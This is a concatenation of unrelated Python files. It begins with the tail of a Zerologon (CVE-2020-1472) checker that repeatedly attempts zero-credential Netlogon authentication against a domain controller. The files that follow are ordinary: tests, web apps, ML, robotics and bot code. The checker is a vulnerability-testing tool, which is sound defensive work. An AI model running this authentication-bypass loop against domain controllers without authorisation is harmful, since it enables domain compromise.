    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
    if ex.get_error_code() == 0xc0000022:
      return None
    else:
      print(f'Unexpected error code from DC: {ex.get_error_code()}.', file=sys.stderr)
      print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
      sys.exit(2)
  except BaseException as ex:
    print(f'Unexpected error: {ex}.', file=sys.stderr)
    print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
    sys.exit(2)

def perform_attack(dc_handle, IPAddress, targetComputer):
  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  print('Performing authentication attempts...')
  rpcConnection = None
  # Give up brute-forcing after 2000 attempts. If vulnerable, 256 attempts are expected to be neccessary on average. False negative chance: 0.04%
  for attempt in range(0, 2000):
    rpcConnection = try_zero_authenticate(dc_handle, IPAddress, targetComputer)
    if rpcConnection == None:
      print('=', end='', flush=True)
    else:
      break
  if rpcConnection:
    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
  else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)

if __name__ == '__main__':
  if not (3 <= len(sys.argv) <= 4):
    print('Usage: cve-2020-1472.py <dc-name> <dc-ip>\n')
    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
    sys.exit(1)
  else:
    [_, DCName, IPAddress] = sys.argv

    DCName = DCName.rstrip('$')
    perform_attack('\\\\' + DCName, IPAddress, DCName)


# -*- coding: utf8 -*-
"""
  eventlogging unit tests
  ~~~~~~~~~~~~~~~~~~~~~~~

  This module contains tests for :module:`eventlogging.jrm`.

"""
from __future__ import unicode_literals

import datetime
import unittest

import eventlogging
import sqlalchemy

from .fixtures import DatabaseTestMixin, TEST_SCHEMA_SCID

class JrmTestCase(DatabaseTestMixin, unittest.TestCase):
    """Test case for :module:`eventlogging.jrm`."""

    def test_lazy_table_creation(self):
        """If an attempt is made to store an event for which no table
        exists, the schema is automatically retrieved and a suitable
        table generated."""
        eventlogging.store_event(self.meta, self.event)
        self.assertIn('TestSchema_123', self.meta.tables)

    def test_column_names(self):
        """Generated tables contain columns for each relevant field."""
        t = eventlogging.jrm.declare_table(self.meta, TEST_SCHEMA_SCID)

        # The columns we expect to see are..
        cols = set(eventlogging.jrm.flatten(self.event))  # all properties
        cols -= set(eventlogging.jrm.NO_DB_PROPERTIES)    # unless excluded
        cols |= {'id', 'uuid'}                            # plus 'id' & 'uuid'

        self.assertSetEqual(set(t.columns.keys()), cols)

    def test_index_creation(self):
        """The ``timestamp`` column is indexed by default."""
        t = eventlogging.jrm.declare_table(self.meta, TEST_SCHEMA_SCID)
        cols = {column.name for index in t.indexes for column in index.columns}
        self.assertIn('timestamp', cols)

    def test_flatten(self):
        """``flatten`` correctly collapses deeply nested maps."""
        flat = eventlogging.jrm.flatten(self.event)
        self.assertEqual(flat['event_nested_deeplyNested_pi'], 3.14159)

    def test_encoding(self):
        """Timestamps and unicode strings are correctly encoded."""
        eventlogging.jrm.store_event(self.meta, self.event)
        table = eventlogging.jrm.get_table(self.meta, TEST_SCHEMA_SCID)
        row = table.select().execute().fetchone()
        self.assertEqual(row['event_value'], '☆ 彡')
        self.assertEqual(row['uuid'], 'babb66f34a0a5de3be0c6513088be33e')
        self.assertEqual(
            row['timestamp'],
            datetime.datetime(2013, 1, 21, 18, 10, 34)
        )

    def test_reflection(self):
        """Tables which exist in the database but not in the MetaData cache are
        correctly reflected."""
        eventlogging.store_event(self.meta, self.event)

        # Tell Python to forget everything it knows about this database
        # by purging ``MetaData``. The actual data in the database is
        # not altered by this operation.
        del self.meta
        self.meta = sqlalchemy.MetaData(bind=self.engine)

        # Although ``TestSchema_123`` exists in the database, SQLAlchemy
        # is not yet aware of its existence:
        self.assertNotIn('TestSchema_123', self.meta.tables)

        # The ``checkfirst`` arg to :func:`sqlalchemy.Table.create`
        # will ensure that we don't attempt to CREATE TABLE on the
        # already-existing table:
        eventlogging.store_event(self.meta, self.event)
        self.assertIn('TestSchema_123', self.meta.tables)


from django.urls import path

from images import views

urlpatterns = [
    path('', views.Images.as_view()),
    path('post/', views.ImagesAuth.as_view()),
    path('<int:pk>', views.ImagesByUser.as_view()),
    path('delete/<int:pk>', views.DeleteImagesAuth.as_view()),
]


from airflow import DAG
from airflow.operators.bash_operator import BashOperator
from datetime import datetime, timedelta

default_args = {
    'owner': 'Adesh',
    'depends_on_past': False,
    'start_date': datetime(2015, 6, 1),
    'email': ['airflow@example.com'],
    'email_on_failure': False,
    'email_on_retry': False,
    'retries': 1,
    'retry_delay': timedelta(minutes=5),
    # 'queue': 'bash_queue',
    # 'pool': 'backfill',
    # 'priority_weight': 10,
    # 'end_date': datetime(2016, 1, 1),
}

dag = DAG('Tianic_Data_Advisor', default_args=default_args, schedule_interval=timedelta(days=1))

# t1, t2 and t3 are examples of tasks created by instantiating operators
t1 = BashOperator(
    task_id='Tianic_Data_Advisor',
    bash_command='docker run -it machinelearningpipeline_ml_base python ml/advisor/titanic_advisor.py',
    dag=dag)

t1


#!/usr/bin/env python

import rospy
import tf

from geometry_msgs.msg import PoseStamped

def publish_auv_poseStamped():

    # create topic
    pose_publisher = rospy.Publisher('uav_PoseStamped', PoseStamped, queue_size = 10)

    # init node
    rospy.init_node('uav_PoseStamped_publisher', anonymous = True)
    rospy.loginfo("Created node for UAV Pose Stamped publication")

    # start a tf subscriber
    tf_subscriber = tf.TransformListener()

    # wait for transform tree to complete...
    # the first time might be problematic since transforms might not be already
    # published
    tf_subscriber.waitForTransform("/world", "uav/imu", rospy.Time(), rospy.Duration(4.0))

    # publish at 100hz
    rate = rospy.Rate(200.0)

    while not rospy.is_shutdown():

        try:
            # get time of latest available transform
            latest_time = tf_subscriber.getLatestCommonTime('/world', 'uav/imu')

            # get transform -translation,rotation- at latest time
            (uav_t, uav_r) = tf_subscriber.lookupTransform('/world', 'uav/imu', latest_time)

            # create and populate PoseStamped message
            ps_msg = PoseStamped()

            # Fill Header first
            ps_msg.header.stamp = rospy.Time.now() #latest_time , for sync
            ps_msg.header.frame_id = 'uav/imu'

            # Fill Translation
            ps_msg.pose.position.x = uav_t[0]
            ps_msg.pose.position.y = uav_t[1]
            ps_msg.pose.position.z = uav_t[2]

            # Fill Orientation
            ps_msg.pose.orientation.x = uav_r[0]
            ps_msg.pose.orientation.y = uav_r[1]
            ps_msg.pose.orientation.z = uav_r[2]
            ps_msg.pose.orientation.w = uav_r[3]

            pose_publisher.publish(ps_msg)
            rospy.loginfo(ps_msg)

        except (tf.LookupException, tf.ConnectivityException): #tf.ExtrapolationException
            rospy.loginfo('tf connection error')
            continue

        rate.sleep()

if __name__ == '__main__':
    try:
        publish_auv_poseStamped()
    except rospy.ROSInterruptException:
        print("ROS Terminated.")
        pass


import argparse
import json
import sys
from pprint import pprint

from MinitaggerSVM import MinitaggerSVM
from helper import utils

sys.path.insert(0, 'helper')

from helper.SequenceData import SequenceData
from helper.utils import *

from MinitaggerCRF import MinitaggerCRF
from FeatureExtractor_CRF_SVM import FeatureExtractor_CRF_SVM

class Final_training(object):
    def __init__(self, parameters):
        self.validation_data_path = parameters["validation_data_path"] if "validation_data_path" in parameters else None
        self.train_data_path = parameters["train_data_path"]
        self.test_data_path = parameters["test_data_path"] if "test_data_path" in parameters else None
        self.minitagger = None
        self.language = parameters["language"]
        self.model_name = parameters["model_name"] + "_" + utils.get_current_time_in_miliseconds()
        self.feature_template = parameters["feature_template"]
        self.method = parameters["method"]
        self.best_param = parameters["best_param"] if "best_param" in parameters else None
        self.train_with_step = parameters["train_with_step"] if "train_with_step" in parameters else None
        self.parameters = parameters

        create_recursive_folder(["parameters", self.model_name])

        if self.feature_template == "embedding":
            self.embedding_size = parameters["embedding_size"]
            self.embedding_path = parameters["embedding_path"]

        pprint(parameters, depth=2)

        #self.CV = CV

    def train(self):
        # initialize feature extractor with the right feature template
        self.feature_extractor = FeatureExtractor_CRF_SVM(self.feature_template, self.language,
                                                         self.embedding_size if self.feature_template=="embedding" else None)

        self.train_sequence = SequenceData(self.train_data_path,language=self.language, pos_tag=True)
        self.validation_sequence = SequenceData(self.validation_data_path,language=self.language, pos_tag=True) if self.validation_data_path else None
        self.test_sequence = SequenceData(self.test_data_path,language=self.language, pos_tag=True) if self.test_data_path else None

        # load bitstring or embeddings data
        if self.feature_template == "embedding":
            if self.test_sequence and self.validation_sequence:
                vocabulary = self.train_sequence.vocabulary.union(self.test_sequence.vocabulary).union(self.validation_sequence.vocabulary)
            else:
                vocabulary = self.train_sequence.vocabulary.union(self.test_sequence.vocabulary)
            self.feature_extractor.load_word_embeddings(self.embedding_path, self.embedding_size, vocabulary)

        print("Number of sentences in training dataset:", len(self.train_sequence.sequence_pairs))
        if self.test_sequence:
            print("Number of sentences in testing dataset:", len(self.test_sequence.sequence_pairs))

        if self.method == "CRF":
            self.crf()
        elif self.method == "SVM":
            self.svm()
        elif self.method == "CRF_TF":
            self.crf_tf()
        else:
            raise("Method unknown")

    def crf(self):
        self.minitagger = MinitaggerCRF()
        self.minitagger.language = self.language
        self.minitagger.quiet = True

        self.minitagger.set_prediction_path(self.model_name)
        self.minitagger.set_model_path(self.model_name)

        parameter_file = os.path.join(self.minitagger.model_path, "parameters.yml")
        with open(parameter_file, "w", encoding="utf-8") as file:
            yaml.dump(self.parameters, file)
        print("model name:", self.minitagger.model_path)

        # equip Minitagger with the appropriate feature extractor
        self.minitagger.equip_feature_extractor(self.feature_extractor)

        self.minitagger.algorithm = "lbfgs"
        if self.best_param is not None:
            self.minitagger.c1 = self.best_param['c1']
            self.minitagger.c2 = self.best_param['c2']
            self.minitagger.epsilon = self.best_param['epsilon_crf']
        else:
            self.minitagger.c1 = 0.1282051282051282
            self.minitagger.c2 = 0.23076923076923075
            self.minitagger.epsilon =0.0008376776400682924

        self.minitagger.all_possible_state = True
        self.minitagger.all_possible_transitions = True

        if self.train_with_step:
            self.minitagger.extract_features(self.train_sequence, self.test_sequence, self.validation_sequence)
            self.minitagger.train_with_step()
        else:
            if self.test_sequence:
                self.minitagger.extract_features(self.train_sequence, self.test_sequence, self.validation_sequence)
                self.minitagger.quiet = False
                self.minitagger.train(max_iteration=60)
            else:
                self.minitagger.cross_validation(0, self.train_sequence, n_fold=3)

    def crf_tf(self):
        self.minitagger = MinitaggerCRF_tf()
        self.minitagger.language = self.language
        self.minitagger.quiet = True
        self.minitagger.set_prediction_path(self.model_name)
        self.minitagger.set_model_path(self.model_name)
        self.minitagger.equip_feature_extractor(self.feature_extractor)

        #self.minitagger.extract_features(self.train_sequence, self.test_sequence, self.validation_sequence)
        self.minitagger.train()

    def svm(self):
        self.minitagger = MinitaggerSVM()
        self.minitagger.language = self.language
        self.minitagger.quiet = True
        self.minitagger.equip_feature_extractor(self.feature_extractor)
        self.minitagger.set_prediction_path(self.model_name)
        self.minitagger.set_model_path(self.model_name)

        parameter_file = os.path.join(self.minitagger.model_path, "parameters.yml")
        with open(parameter_file, "w", encoding="utf-8") as file:
            yaml.dump(self.parameters, file)

        if self.best_param is not None:
            self.minitagger.epsilon = self.best_param['epsilon']
            self.minitagger.cost = self.best_param['cost']
        else:
            self.minitagger.epsilon =7.196856730011514e-06
            self.minitagger.cost =  0.016378937069540647

        if self.train_with_step:
            self.minitagger.train_with_step(self.train_sequence, self.test_sequence)
        else:
            self.minitagger.extract_features(self.train_sequence, self.test_sequence)
            self.minitagger.quiet = False
            self.minitagger.train()
            self.minitagger.save(self.minitagger.model_path)

if __name__ == "__main__":
    argparser = argparse.ArgumentParser()
    argparser.add_argument("--confs",nargs='+', type=str, help="list of names of the configuration in the parameter file",
                           required=True)
    parsed_args = argparser.parse_args()
    for conf in parsed_args.confs:
        parameters = load_parameters(conf)
        training = Final_training(parameters=parameters)
        training.train()


import requests  #requests library allows for requesting data on the internet.

import os    #os library allows for operating system interactivity.

dlUrl = "(INSERT URL PATH DESIRED HERE)"    #input a direct URL ending in a "." file format.

filename = dlUrl[dlUrl.rfind('/') + 1:]

if os.path.isfile(filename):               #checks if file is already downloaded locally before executing the download code below.
    print("File already exists.")

else:

    try:
        request = requests.get(dlUrl)
        request.raise_for_status()

        content_size = int(request.headers.get('Content-Length', 0))
        file_size = round(content_size / 1024, 2)

        filename = request.url [dlUrl.rfind('/')+1:]

        with open(filename, 'wb') as f:
            for chunk in request.iter_content(chunk_size=8000):
                if chunk:
                    f.write(chunk)

        print(f"File downloaded successfully. File size: {file_size} KB")

    except requests.exceptions.RequestException as e:                       #error handling
        print (f"An error occurred during the download: {e}")

    except IOError as e:
        print(f"An error occurred while writing this file: {e}")


import easygui as eg

filename = eg.fileopenbox(msg=None, title=None, default='*', filetypes=None)

first = []
last = []
street = []
city = []
zcode = []
state = []
city = []

myfile = open(filename, 'r')

addresses = myfile.read()
addresses = addresses.split("\n")
numaddr = len(addresses)/4
for i in range(numaddr):
    temp = addresses[i*4].strip("\r\n")
    last.append(temp.rsplit(" ")[-1])
    first.append(temp.rsplit(" ", 1)[-2])
    street.append(addresses[i*4+1].strip("\r\n"))
##    city.append(addresses[i*4+2].strip("\r\n"))
    temp = addresses[i*4+2].strip("\r\n")
    zcode.append(temp.split(" ")[-1])
    state.append(temp.split(" ")[-2])
    city.append(temp.split(",")[0])

myfile.close()


import matplotlib.pyplot as plt
import numpy as np
from qsim.evolution import hamiltonian
from qsim.graph_algorithms.graph import unit_disk_grid_graph, rydberg_graph
from qsim.graph_algorithms.adiabatic import SimulateAdiabatic
from qsim import schrodinger_equation
import matplotlib.gridspec as gridspec
import scipy.sparse
import scipy.optimize
import pandas as pd
import sys
import scipy.interpolate

def loadfile(graph_index, size):
    graph_mask = np.reshape(np.loadtxt("mis_degeneracy_L%d.dat" % size)[graph_index, 3:],
                            (size, size), order='F')[::-1, ::-1].T.astype(bool)
    MIS_size = np.loadtxt("mis_degeneracy_L%d.dat" % size)[graph_index, 0].astype(int)
    degeneracy = np.loadtxt("mis_degeneracy_L%d.dat" % size)[graph_index, 1].astype(int)
    graph_data = {'graph_index': graph_index, 'MIS_size': MIS_size, 'degeneracy': degeneracy,
                  'side_length': size,
                  'graph_mask': graph_mask, 'number_of_nodes': int(np.sum(graph_mask))}
    return graph_data

def find_ratio(tails_graph, graph, detuning_plateau, tf):
    cost = hamiltonian.HamiltonianMIS(graph, IS_subspace=True)
    print('Starting driver')
    driver = hamiltonian.HamiltonianDriver(IS_subspace=True, graph=graph)
    print('Starting rydberg')
    if tails_graph is not None:
        rydberg = hamiltonian.HamiltonianRydberg(tails_graph, graph, IS_subspace=True, energies=(2 * np.pi,))
        ad = SimulateAdiabatic(graph=graph, hamiltonian=[cost, driver, rydberg], cost_hamiltonian=cost,
                               IS_subspace=True)
    else:
        ad = SimulateAdiabatic(graph=graph, hamiltonian=[cost, driver], cost_hamiltonian=cost,
                               IS_subspace=True)

    def schedule_cubic(t, T):
        cubic_ys = 2 * np.pi * np.array([11.5, detuning_plateau+.5, detuning_plateau, detuning_plateau-.5 , -11.5])
        cubic_xs = np.array([.312, (T / 2 - .312) / 1.35 + .312, T / 2, T - .312-(T / 2 - .312) / 1.35, T - .312])
        if t < .312:
            driver.energies = (2 * np.pi * 2 * t / .312,)
            cost.energies = (2 * np.pi * 11.5,)
        elif .312 <= t <= T - .312:
            driver.energies = (2 * np.pi * 2,)
            cost.energies = (scipy.interpolate.interp1d(cubic_xs, cubic_ys, kind='cubic')(t),)
        else:
            driver.energies = (2 * np.pi * 2 * (T - t) / .312,)
            cost.energies = (-2 * np.pi * 11.5,)

    print('Starting evolution')
    states, data = ad.run(tf, schedule_cubic, num=int(400 * tf), method='trotterize',
                          full_output=False)
    np.savez_compressed('{}x{}_{}_{}_{}_trotterize_highres.npz'.format(size, size, graph_index, np.round(np.abs(detuning_plateau), 2), np.round(np.abs(tf), 2)), state=states[-1])

if __name__ == '__main__':
    import sys

    size = 6
    # 4 or 0
    index = int(sys.argv[1])
    critical_detuning = -9.604213726908476#-6.019449429835163#-7.001#-8.495#
    critical_detunings = np.concatenate([-np.linspace(2, 10, 10), [critical_detuning]])
    #graph_index = 667
    graph_index = 807
    #graph_index = 173
    #graph_index = 336
    graph_data = loadfile(graph_index, size)
    grid = graph_data['graph_mask']
    print('Initializing graph')
    graph = unit_disk_grid_graph(grid, periodic=False, radius=1.1)
    tails_graph = rydberg_graph(grid, visualize=False)
    n_points = 7
    times = 2 ** np.linspace(-2.5, 4.5 / 6 * (n_points - 1) - 2.5, n_points)
    times = np.concatenate([times, [2.5]])#np.array([2.5])#
    times = times + .312 * 2
    time = times[index // len(critical_detunings)]
    # 8 times, 11 detunings = 0-87 array
    detuning = critical_detunings[index % len(critical_detunings)]
    print(time, detuning)
    #raise Exception
    find_ratio(tails_graph, graph, detuning, time)


import interactions
from datetime import datetime
import config

class info(interactions.Extension):
    def __init__(self, client: interactions.Client):
        self.client: interactions.Client = client

    @interactions.extension_command(
        name="info",
        description="General bot info",
    )
    async def ext_command(self, ctx: interactions.CommandContext):
        reply = "Current server time- "+str(datetime.utcnow())+" UTC\nConnection speed- "+str(round(config.bot.latency))+ " ms\nBot created by ^ReBeLLi0n^D#2343. Notify me if you find something broken I may or may not fix it lol"
        await ctx.send(reply)
def setup(client):
    info(client)


from datetime import datetime
import logging
from functools import wraps

logging.basicConfig(filename="deco.log", level=logging.INFO)

def timestamp(func):
    @wraps(func)
    def replacement(*args, **kwargs):
        logging.info("Function %s called at %s", func.__name__, datetime.now().ctime())
        result = func(*args, **kwargs)
        return result

    return replacement

@timestamp
def spam():
    print("SPAM SPAM SPAM")
    return 100

#spam = timestamp(spam)

print(f"spam: {spam}")
x = spam()
print(f"x: {x}")

@timestamp
def ham(color):
    print("ham ham hammy", color)

ham("blue")
ham("green")

print(ham.__name__, spam.__name__)


"""convert allowlists to IMA policies

Revision ID: 8c0f8ded1f90
Revises: 039322ea079b
Create Date: 2022-10-27 18:18:31.674283

"""
import copy
import datetime
import json

import sqlalchemy as sa
from alembic import op

from keylime import keylime_logging
from keylime.ima import ima

logger = keylime_logging.init_logging("db_migrations")

# revision identifiers, used by Alembic.
revision = "8c0f8ded1f90"
down_revision = "039322ea079b"
branch_labels = None
depends_on = None

def upgrade(engine_name):
    globals()[f"upgrade_{engine_name}"]()

def downgrade(engine_name):
    globals()[f"downgrade_{engine_name}"]()

def upgrade_registrar():
    pass

def downgrade_registrar():
    pass

def upgrade_cloud_verifier():
    # get existing table metadata
    conn = op.get_bind()
    meta = sa.MetaData()
    meta.reflect(bind=conn, only=("allowlists",))
    allowlists = meta.tables["allowlists"]
    results = conn.execute(sa.text("SELECT id, ima_policy FROM allowlists")).fetchall()

    # Update allowlist entries with converted IMA policies
    for old_ima_policy_id, old_ima_policy in results:
        try:
            old_ima_policy = json.loads(old_ima_policy)
        except Exception as e:
            message = "Error loading JSON-formatted Keylime policy: %s", repr(e)
            logger.error(message)
            raise e

        alist_json = old_ima_policy["allowlist"]
        new_ima_policy = copy.deepcopy(ima.EMPTY_RUNTIME_POLICY)
        new_ima_policy["meta"]["timestamp"] = str(datetime.datetime.now())
        new_ima_policy["meta"]["generator"] = ima.RUNTIME_POLICY_GENERATOR.LegacyAllowList
        for key in new_ima_policy.keys():
            if key == "digests":
                digests = alist_json.get("hashes")
                if not digests:
                    message = "Allowlist %s does not have a valid hash list!", old_ima_policy_id
                    logger.error(message)
                    raise Exception(message)
                new_ima_policy[key] = alist_json["hashes"]
            elif key == "excludes":
                new_ima_policy["excludes"] = old_ima_policy["exclude"]
            elif key == "meta":
                # Skip old metadata
                continue
            else:
                to_migrate = alist_json.get(key, None)
                if to_migrate is None:
                    logger.info("Runtime policy field '%s' not found in existing allowlist; using default value", key)
                else:
                    new_ima_policy[key] = alist_json[key]
        new_ima_policy = json.dumps(new_ima_policy)

        conn.execute(allowlists.update().where(allowlists.c.id == old_ima_policy_id).values(ima_policy=new_ima_policy))

def downgrade_cloud_verifier():
    # get existing table metadata
    conn = op.get_bind()
    meta = sa.MetaData()
    meta.reflect(bind=conn, only=("allowlists",))
    allowlists = meta.tables["allowlists"]
    results = conn.execute(sa.text("SELECT id, ima_policy FROM allowlists")).fetchall()

    # Update allowlist entries with converted IMA policies
    for ima_policy_id, ima_policy in results:
        try:
            ima_policy = json.loads(ima_policy)
        except Exception as e:
            message = "Error loading JSON-formatted Keylime policy: %s", repr(e)
            logger.error(message)
            raise e

        allowlist = {
            "meta": {
                "version": 5,
                "generator": ima.RUNTIME_POLICY_GENERATOR.CompatibleAllowList,
                "checksum": "",
            },
            "release": 0,
            "hashes": {},
            "keyrings": {},
            "ima": {"ignored_keyrings": [], "log_hash_alg": "sha1"},
        }
        allowlist["meta"]["timestamp"] = str(datetime.datetime.now())
        for key in allowlist.keys():  # pylint: disable=consider-iterating-dictionary
            if key == "hashes":
                digests = ima_policy.get("digests")
                if not digests:
                    message = "Runtime policy %s does not have a valid hash list!", ima_policy_id
                    logger.error(message)
                    raise Exception(message)
                allowlist[key] = ima_policy["digests"]
            elif key == "meta":
                # Skip old metadata
                continue
            else:
                to_migrate = ima_policy.get(key, None)
                if to_migrate is None:
                    logger.info("Allowlist field '%s' not found in existing IMA policy; using default value", key)
                else:
                    allowlist[key] = ima_policy[key]
        downgraded_policy = {}
        downgraded_policy["allowlist"] = allowlist
        downgraded_policy["exclude"] = ima_policy["excludes"]
        downgraded_policy = json.dumps(downgraded_policy)

        conn.execute(allowlists.update().where(allowlists.c.id == ima_policy_id).values(ima_policy=downgraded_policy))


import io

import pytest

from dockerfile_parse import DockerfileParser

@pytest.fixture(
    params=[(use_fileobj, cache_content)
            for use_fileobj in [True, False]
            for cache_content in [True, False]])
def dfparser(tmpdir, request):
    """

    :param tmpdir: already existing fixture defined in pytest
    :param request: parameter, cache_content arg to DockerfileParser
    :return: DockerfileParser instance
    """

    use_fileobj, cache_content = request.param
    if use_fileobj:
        fileobj = io.BytesIO()
        return DockerfileParser(fileobj=fileobj, cache_content=cache_content)
    else:
        tmpdir_path = str(tmpdir.realpath())
        return DockerfileParser(path=tmpdir_path, cache_content=cache_content)

@pytest.fixture(params=['LABEL', 'ENV', 'ARG'])
def instruction(request):
    """
    Parametrized fixture which enables to run a test once for each instruction in params
    """
    return request.param


import xml.etree.ElementTree as ET
from tqdm import tqdm
import os
from sklearn.model_selection import train_test_split

def read_dataset(images_dir, reports_dir):

    img = []
    img_finding = []
    finding = None

    for filename in tqdm(os.listdir(reports_dir)):
        if filename.endswith(".xml"):
            f = reports_dir + '/' + filename
            tree = ET.parse(f)
            root = tree.getroot()
            for child in root:
                if child.tag == 'MedlineCitation':
                    for attr in child:
                        if attr.tag == 'Article':
                            for i in attr:
                                if i.tag == 'Abstract':
                                    for name in i:
                                        if name.get('Label') == 'FINDINGS':
                                            finding = name.text
            for p_image in root.findall('parentImage'):
                if finding is not None:
                    img.append(p_image.get('id'))
                    img_finding.append(finding)

    for i in range(len(img)):
        img[i] = os.path.join(images_dir, img[i] + '.png')

    train_images, test_images, train_reports, test_reports = train_test_split(
        img, img_finding, test_size=0.1, random_state=7
    )
    return train_images, train_reports, test_images, test_reports

def collate_fn(data, processor, max_length):
    images, reports = zip(*data)
    images = list(images)
    reports = list(reports)

    processed = processor(
        images, text=reports, padding=True, truncation=True, max_length=max_length, return_tensors='pt'
    )
    return processed


from discord import Embed
from datetime import datetime
import random

async def fast_random(ctx):
    random_number = random.randint(0, 100)
    embed = Embed(title=random_number,
                  colour=ctx.author.colour,
                  timestamp=datetime.utcnow())
    await ctx.send(embed=embed)

async def get_random_number(ctx, floor, ceil):
    embed = Embed(title="GENERÁTOR NÁHODNÝCH ČÍSEL",
                  colour=ctx.author.colour,
                  timestamp=datetime.utcnow())
    random_number = random.randint(int(floor), int(ceil))

    if not floor:
        await ctx.send("Zadejte příkaz ve formátu .rng {menší číslo} {větší číslo}")
    fields = [("Náhodné číslo mezi {} a {}".format(floor, ceil), random_number, True)]

    for name, value, inline in fields:
        embed.add_field(name=name, value=value, inline=inline)
    await ctx.send(embed=embed)


from django.shortcuts import render, redirect
from django.contrib import messages

from convention.forms import AttendeeForm, StudentDelegateForm

def convention_page(request):
    if request.method == 'POST':
        form = AttendeeForm(request.POST)
        if form.is_valid():
            attendee = form.save(commit=False)
            attendee.save()
            messages.success(request, 'Your registration is successful')
            return redirect('convention')
    else:
        form = AttendeeForm()
    return render(request, 'convention/convention.html', {'form': form})

def student_delegate(request):
    if request.method == 'POST':
        form = StudentDelegateForm(request.POST, request.FILES or None)
        if form.is_valid():
            delegate = form.save(commit=False)
            delegate.save()
            messages.success(request, 'Your registration is successful')
            return redirect('confirmation')
    else:
        form = StudentDelegateForm()
    return render(request, 'convention/delegate.html', {'form': form})


from google.protobuf.internal import enum_type_wrapper as _enum_type_wrapper
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from typing import ClassVar as _ClassVar, Optional as _Optional, Union as _Union

DESCRIPTOR: _descriptor.FileDescriptor

class Mode(int, metaclass=_enum_type_wrapper.EnumTypeWrapper):
    __slots__ = []
    UNKNOWN: _ClassVar[Mode]
    AUTO: _ClassVar[Mode]
    MANUAL: _ClassVar[Mode]
    CHARGING: _ClassVar[Mode]
UNKNOWN: Mode
AUTO: Mode
MANUAL: Mode
CHARGING: Mode

class StatusRequest(_message.Message):
    __slots__ = ["drone_id"]
    DRONE_ID_FIELD_NUMBER: _ClassVar[int]
    drone_id: int
    def __init__(self, drone_id: _Optional[int] = ...) -> None: ...

class StatusResponse(_message.Message):
    __slots__ = ["mode", "battery_level"]
    MODE_FIELD_NUMBER: _ClassVar[int]
    BATTERY_LEVEL_FIELD_NUMBER: _ClassVar[int]
    mode: Mode
    battery_level: float
    def __init__(self, mode: _Optional[_Union[Mode, str]] = ..., battery_level: _Optional[float] = ...) -> None: ...

class ChangeModeRequest(_message.Message):
    __slots__ = ["drone_id", "new_mode"]
    DRONE_ID_FIELD_NUMBER: _ClassVar[int]
    NEW_MODE_FIELD_NUMBER: _ClassVar[int]
    drone_id: str
    new_mode: Mode
    def __init__(self, drone_id: _Optional[str] = ..., new_mode: _Optional[_Union[Mode, str]] = ...) -> None: ...

class ChargeRequest(_message.Message):
    __slots__ = ["drone_id", "target_battery_level"]
    DRONE_ID_FIELD_NUMBER: _ClassVar[int]
    TARGET_BATTERY_LEVEL_FIELD_NUMBER: _ClassVar[int]
    drone_id: str
    target_battery_level: float
    def __init__(self, drone_id: _Optional[str] = ..., target_battery_level: _Optional[float] = ...) -> None: ...

class SimpleResponse(_message.Message):
    __slots__ = ["success", "message"]
    SUCCESS_FIELD_NUMBER: _ClassVar[int]
    MESSAGE_FIELD_NUMBER: _ClassVar[int]
    success: bool
    message: str
    def __init__(self, success: bool = ..., message: _Optional[str] = ...) -> None: ...

class ChargeResponse(_message.Message):
    __slots__ = ["battery_level", "charging_complete"]
    BATTERY_LEVEL_FIELD_NUMBER: _ClassVar[int]
    CHARGING_COMPLETE_FIELD_NUMBER: _ClassVar[int]
    battery_level: float
    charging_complete: bool
    def __init__(self, battery_level: _Optional[float] = ..., charging_complete: bool = ...) -> None: ...


# -*- coding: utf-8 -*-

from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtCore import QThread
from datetime import datetime
import dboperations
import cv2
import numpy
import time
from viewimagewindow import ImageWindow
import threading
from functools import partial
import pandas as pd

class Ui_MainWindow(object):

    def openViewFullImageWindow(self, normalImage):
        self.window = QtWidgets.QMainWindow()
        self.ui = ImageWindow()
        self.ui.setupUi(self.window)
        if normalImage:
            self.ui.showImage(viewImgPath)
        else:
            self.ui.showImage(viewDetectImgPath)
        self.window.show()

    def setupUi(self, MainWindow):
        MainWindow.setObjectName("MainWindow")
        MainWindow.resize(1120, 739)
        MainWindow.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor))
        MainWindow.setStyleSheet("QMainWindow {background: url('ringback3.png') green no-repeat;}");
        #MainWindow.setStyleSheet("QMainWindow {background-color: green;}");
        icon = QtGui.QIcon()
        icon.addPixmap(QtGui.QPixmap("camera.PNG"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
        MainWindow.setWindowIcon(icon)
        self.centralwidget = QtWidgets.QWidget(MainWindow)
        self.centralwidget.setAutoFillBackground(False)
        self.centralwidget.setObjectName("centralwidget")

    #dateLabel
        self.dateLabel = QtWidgets.QLabel(self.centralwidget)
        self.dateLabel.setGeometry(QtCore.QRect(370, 220, 55, 16))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.dateLabel.setFont(font)
        self.dateLabel.setStyleSheet("color: white;")
        self.dateLabel.setObjectName("dateLabel")

    #objectDetectedLabel
        self.objectDetectedLabel = QtWidgets.QLabel(self.centralwidget)
        self.objectDetectedLabel.setGeometry(QtCore.QRect(370, 130, 161, 31))
        font = QtGui.QFont()
        font.setFamily("Georgia")
        font.setPointSize(10)
        self.objectDetectedLabel.setFont(font)
        self.objectDetectedLabel.setStyleSheet("color: white;")
        self.objectDetectedLabel.setObjectName("objectDetectedLabel")

    #Title Label
        self.titleLabel = QtWidgets.QLabel(self.centralwidget)
        self.titleLabel.setGeometry(QtCore.QRect(220, 20, 571, 61))
        self.titleLabel.setStyleSheet("color: white;")
        #add a text-shadow: -5px -5px 0 #05386B, 5px -5px 0 #05386B, -5px 1px 0 #05386B, 5px 5px 0 #05386B;
        font = QtGui.QFont()
        font.setFamily("Cambria")
        font.setPointSize(20)
        font.setBold(True)
        font.setWeight(75)
        self.titleLabel.setFont(font)
        self.titleLabel.setObjectName("titleLabel")

    #List Widget
        self.listWidget = QtWidgets.QListWidget(self.centralwidget)
        self.listWidget.setGeometry(QtCore.QRect(40, 140, 281, 431))
        self.listWidget.setObjectName("listWidget")
